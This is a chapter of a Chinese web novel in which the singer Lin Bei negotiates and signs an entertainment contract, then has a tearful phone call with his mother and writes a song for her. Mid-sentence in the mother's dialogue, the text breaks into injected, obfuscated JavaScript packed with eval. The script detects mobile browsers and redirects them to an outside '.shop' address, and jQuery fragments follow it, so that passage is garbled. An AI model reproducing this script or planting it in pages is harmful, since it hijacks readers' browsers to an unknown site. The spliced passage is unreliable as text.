林北把四个条件说了一遍。陆之珩听完之后，沉默了几秒钟，然后说了一句让林北意外的话：“你比我会谈判。”
“什么？”
“我十八岁签合约的时候，连看都没看就签了。”陆之珩苦笑了一下，“我爸妈说要帮我看，我说不用，我自己能行。结果签完之后，我爸妈看了合约，气得要死，说我是被人卖了还帮人数钱。后来是我爸出面跟公司重新谈的，才把八年改成了三年。”
林北看着他，不知道该说什么。
“所以我说你比我会谈判。”陆之珩拍了拍他的肩膀，“至少你知道自己在签什么，知道自己想要什么。这是很多人一辈子都学不会的事。”
两个人站在走廊上，喝着咖啡，谁也没有说话。
窗外，城市的天空灰蒙蒙的，像一块洗旧了的抹布。远处的建筑物轮廓模糊，像是被水彩晕开了一样。林北看着那片天空，突然觉得自己的未来也像这片天空一样——模糊不清，充满未知。
但他不怕。
因为他知道，不管最后签还是不签，不管比赛输还是赢，他都会继续做音乐。这是他唯一确定的事情，也是他唯一不需要谈判的事情。
三天后，星耀娱乐给了回复。
签约年限：五年，不接受两年解约条款，但同意在合同中加入“业绩对赌”条款——如果公司连续两年未能达到约定的资源投入标准，艺人有权无责解约。
分成比例：三七分，不变。但增加“阶梯分成”条款——艺人年收入超过一定数额后，分成比例逐年上调，最高可达五五分。
著作权：同意著作权归艺人所有，公司享有五年独家代理权，代理期内分成三七分，代理期满后另行约定。
解约违约金：从五百万降到两百万。
林北看完这些条款，在出租屋里坐了一个小时。
他一条一条地分析，一条一条地权衡。五年太长，但有了业绩对赌条款，公司不敢对他太差。分成太低，但阶梯分成给了上升空间。著作权保住了，这是最重要的。违约金还是很高，但比五百万好一些。
他拿起手机，给江若瑶发了一条消息：“若瑶姐，你觉得我应该签吗？”
江若瑶回复：“你觉得呢？”
林北想了很久，打了很长一段话，又删掉，最后只发了三个字：“我不知道。”
江若瑶打了电话过来。
“林北，你听我说。”江若瑶的声音很平静，但每一个字都很重，“没有人能替你做这个决定。但我可以告诉你，我最后悔的不是签了那份苛刻的合约，而是签合约的时候没有认真读。你认真读了，你谈判了，你争取了。不管最后签不签，你都不会后悔，因为这是你自己做的决定。”
林北沉默了几秒钟。
“还有，”江若瑶补充道，“不管签不签，你都是林北。合约改变不了你是谁，比赛结果改变不了你是谁，任何人任何事都改变不了你是谁。记住这个。”
林北挂了电话，拿起笔，在合约的最后一页签下了自己的名字。
林北。
两个字，歪歪扭扭的，和他在报名表上写的那两个字一模一样。
他合上合约，放在桌上，然后拿起吉他，开始写歌。
不是写给任何人，是写给自己。
歌名叫《选择》。
歌词只有几句，旋律也很简单。他弹了一遍又一遍，每一遍都觉得不够好，每一遍都在改。
凌晨两点，他放下吉他，看了一眼窗外。
城市的灯火依然通明，和他一年前看到的没什么不同。但林北知道，他已经不是一年前的自己了。一年前的他，坐在出租屋里给别人修音，觉得自己这辈子就这样了。现在的他，签了合约，进了决赛，有了五十万粉丝，写了一首又一首让人记住的歌。
他还是他，但他也不再是他。
手机震了一下，是苏棠发来的消息：“签了？”
林北回复：“签了。”
苏棠发了一个表情包，是一个小人举着牌子，牌子上写着“恭喜入坑”。
林北笑了，回了一个“谢谢”。
又一条消息弹出来，是陆之珩：“签了？”
“签了。”
“欢迎加入。”陆之珩说，“这个圈子很烂，但至少你不是一个人。”
林北看着这行字，心里涌起一股暖流。
是啊，至少不是一个人。
签完合约的第二天，林北接到了一个电话。
电话是他妈妈打来的。看到来电显示上“妈”这个字的时候，林北心里咯噔了一下。他已经有两个多月没给家里打电话了，不是不想打，是不敢打。他怕妈妈问他“你在外面过得好不好”，他怕自己说不出口那个“好”字。
“喂，妈。”林北接了电话，声音尽量放轻松。
“北北啊，我在电视上看到你了！”林妈妈的声音从听筒里传出来，带着一种压抑不住的兴奋，“你上了那个什么选秀节目？你怎么没跟妈说呀？”
林北愣了一下：“你看到了？”
“当然看到了！你姨昨天打电话跟我说，说在电视上看到你了，我还不信。结果今天中午一看，哎呀，真的是你！你穿着那件黑衬衫，坐在台上唱歌，唱得妈眼泪都出来了。”林妈妈的声音有些发抖，“北北，你唱的那个歌，是你自己写的吗？”
“……是。”
“写的真好。”林妈妈说，声音更抖了，“妈听了一遍又一遍，每一遍都哭。你写的那个出租屋，那个过期的牛奶，那个没人发消息的手机……北北，你一个人在外面，是不是很苦？”
林北握着手机的手指收紧了。他张了张嘴，想说“不苦”，想说“我很好”，但那些话卡在喉咙里，怎么都说不出来。
“妈，”他听到自己的声音有些哑，“还好，不算苦。”
“你骗人。”林妈妈的声音终于带了哭腔，“你从小就爱骗人，摔了跤说不疼，考试没考好说题太难，在外面受委屈了也不跟家里说。你从小到大，什么事都自己扛，从来不跟妈说一句苦。”
林北的眼眶热了。他仰起头，看着天花板，不让眼泪掉下来。
“北北，妈不是要你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509297|202928||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
回来。”林妈妈吸了吸鼻子，“妈是想告诉你，你在外面想做什么就去做，妈支持你。你要是累了，想回来了，家里永远给你留着一间房。”
林北听到这句话的时候，眼泪终于没忍住，无声地滑了下来。
他想起五年前，他考上音乐学院，离开家乡的那个早晨。妈妈送他到车站，塞给他一个信封，里面是两千块钱。她说：“北北，你在外面要好好的，妈在家等你回来。”
他想起三年前，他大学毕业，找不到工作，给妈妈打电话说“妈，我想再试试”。妈妈说：“好，你试，妈等你。”
他想起一年前，他在出租屋里吃泡面，妈妈打电话来说“北北，过年回不回来”。他说“回不去，工作忙”。妈妈说“好，那妈给你寄点腊肉，你自己做着吃”。
每一次，妈妈都说“妈等你”。
从来没有催过他，从来没有逼过他，从来没有说过“你看看别人家的孩子”。就是一直等，一直等，等他成功，或者等他回来。
“妈，”林北擦了擦眼泪，声音有些沙哑，“等我比赛完了，我就回去看你。”
“好。”林妈妈笑了，声音里带着泪，“妈给你做你最爱吃的红烧肉。”
“好。”
挂了电话，林北在床边坐了很久。
他想起那首写给“孤独”的歌，想起歌词里那句“如果明天我不在了，谁会第一个发现”。他当时写这句词的时候，想的是房东、同事、朋友。但他忘了，这个世界上有一个人，不需要等到明天，不需要等到任何人通知，就会第一个发现他不在了。
那个人是他妈。
林北拿起吉他，弹了一小段旋律。这段旋律和之前所有的歌都不一样，它不悲伤，不孤独，不励志，不炸裂。它很温柔，像小时候妈妈的手，轻轻拍着他的背，哄他入睡。
他拿出笔记本，写下了四个字：《妈妈的信》。
这不是一首为比赛写的歌，甚至不是一首为任何人写的歌。它只是林北此刻最真实的感受，化成音符，落在纸上。
他写得很顺，比写任何一首歌都顺。好像那些旋律和词句一直在他心里，只是等到这一刻才找到了出口。
“你总说家里很好，让我别挂念，
你总说身体很好，让我别担心。
可你头上的白发，骗不了人，
你眼角的皱纹，藏不住岁月。”
“你说你等我回来，做我最爱吃的菜，
你说你等我成功，做你最骄傲的小孩。
可我想告诉你，妈，
不管成功不成功，我都是你的小孩。”
写到最后一句的时候，林北停了一下，然后在纸上写下：
“妈，我很好。你别等我了，你先好好过。”
写完最后一个字，林北放下笔，长长地呼出一口气。
这是他写过的所有歌里，最简单的一首。没有复杂的和弦，没有精巧的歌词，没有任何技巧上的炫示。但它也是最真的一首，真到他不敢把它拿给任何人看。
他把笔记本合上，放在了抽屉里。